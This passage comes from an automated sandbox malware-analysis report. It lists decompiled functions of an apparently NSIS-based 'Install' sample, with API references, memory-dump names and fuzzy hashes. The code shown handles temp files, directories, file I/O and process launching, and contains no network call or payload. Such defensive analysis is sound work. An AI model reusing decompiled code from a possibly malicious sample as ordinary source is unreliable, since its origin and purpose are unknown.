GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406095

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406061
nsa, xrefs: 00406069

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: cc98cbd97bba9fac9576f26979179aa346a2ab2dc3c85b14509754d74f2b81c3
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: CEF09076B40204FBEB00CF69ED05E9EB7BCEB95750F11803AFA05F7140E6B499648768

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405EB7(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405E39(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405AEB( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B08(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405A6E( *(_t36 + 8));
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040653D(0x441000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70,76CDFAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A6E: CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1

SetCurrentDirectoryW.KERNELBASE(?,00441000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: a0d011628c810d07a54685ac6612ef99f8e632c27b07218bf1f4fe72126052a1
Instruction ID: 910f9ca0e916fbda017ea5bccd1daba2d9720f9cae8b5c5670dceb894c5ef12e
Opcode Fuzzy Hash: a0d011628c810d07a54685ac6612ef99f8e632c27b07218bf1f4fe72126052a1
Instruction Fuzzy Hash: 3E11D031504110EBCF216FA5CD4099F36A0EF25369B28493BE945B52F1DA3E4A829A8E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x434f30;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x433eec =  *0x433eec + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x433eec, 0x7530,  *0x433ed4), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction ID: f98c5e72cab4da6dd47fcf147c12dc0649e5852bd482257a86ca63d172a8b8d6
Opcode Fuzzy Hash: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
Instruction Fuzzy Hash: 0B01F4316202209FE7094B389D05B6A3698E710319F14823FF851F65F1EA78DC029B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405B20 Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B20(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x430270->cb = 0x44;
				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x430270,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405b29
0x00405b49
0x00405b51
0x00405b56
0x00000000
0x00405b5c
0x00405b60

APIs

CreateProcessW.KERNELBASE ref: 00405B49
CloseHandle.KERNEL32(?), ref: 00405B56

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction ID: 0547baa0b497a95b6ed0e8f273b1969b1ac2c9598ef2001c301bcde660c6e2d6
Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction Fuzzy Hash: 3EE092B4600209BFEB10AB64AE49F7B7AACEB04704F004565BA51E61A1DB78E8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040690A(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E0040689A(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406912
0x00406915
0x0040691c
0x00406924
0x00406930
0x00000000
0x00406937
0x00406927
0x0040692e
0x00000000
0x0040693f
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
GetProcAddress.KERNEL32(00000000,?), ref: 00406937

Part of subcall function 0040689A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
Part of subcall function 0040689A: wsprintfW.USER32 ref: 004068EC
Part of subcall function 0040689A: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction ID: 98bdf7d71c6046f852b78b75196177710d0a141037308efd39b2ac7baa162fea
Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
Instruction Fuzzy Hash: 9FE0867390422066D21196745D44D7773A89B99750306443EF946F2090DB38DC31A76E

Uniqueness

Uniqueness Score: -1.00%

Function 0040602D Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040602D(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406031
0x0040603e
0x00406053
0x00406059

APIs

GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00406008 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406008(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x0040600d
0x00406013
0x00406018
0x00406021
0x00406021
0x0040602a

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C0D,?,?,00000000,00405DE3,?,?,?,?), ref: 0040600D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406021

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: c979a2e86073268fb5c10017c0603d576bb262e7e1663e1e1b2ee048d1a5e24b
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 34D012725041316FC2102728EF0C89BBF55EF643717014B35F9A5A22F0CB304C638A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405AEB Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405AEB(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405af1
0x00405af9
0x00000000
0x00405aff
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
GetLastError.KERNEL32 ref: 00405AFF

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction ID: 33feed20cbbf131019f18849f7ccc9358209a8d33535326e0157453b6049084a
Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
Instruction Fuzzy Hash: 1BC04C30204501AED6105B609E48B177AA4DB50741F16843D6146E41E0DA789455EE2D

Uniqueness

Uniqueness Score: -1.00%

Function 004060DF Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060DF(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060e3
0x004060f3
0x004060fb
0x00000000
0x00406102
0x00000000
0x00406104

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403498,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 004060F3

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: d8d859634201a592f38c73999a999f352708a9e59580de02994c407fa40ca669
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: FAE08C3220026AABEF109E60DC04AEB3B6CFB00360F014837FA16E7081E270E93087A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060B0 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060B0(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060b4
0x004060c4
0x004060cc
0x00000000
0x004060d3
0x00000000
0x004060d5

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E2,00000000,00000000,00403306,000000FF,00000004,00000000,00000000,00000000), ref: 004060C4

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 1583d2e05e1cff28e3594e7db3f0db2d88eef65457287744bb544c492d9958e5
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: AEE0EC322502AAABDF10AE65DC04AEB7B6CEB05361F018936FD16E6150E631E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 004034E5 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034E5(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x004034f3
0x004034f9

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,0040387D,?), ref: 004034F3

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4() {
				void* _t9;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402DA6(_t15);
				E0040559F(0xffffffeb, _t7);
				_t9 = E00405B20(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E004069B5(_t17, _t20);
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E00406484( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 0040559F: lstrlenW.KERNEL32(0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32(0042C248,00403418), ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32(0042C248,0042C248), ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Part of subcall function 00405B20: CreateProcessW.KERNELBASE ref: 00405B49
Part of subcall function 00405B20: CloseHandle.KERNEL32(?), ref: 00405B56

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 004069B5: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069C6
Part of subcall function 004069B5: GetExitCodeProcess.KERNEL32 ref: 004069E8

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

Memory Dump Source

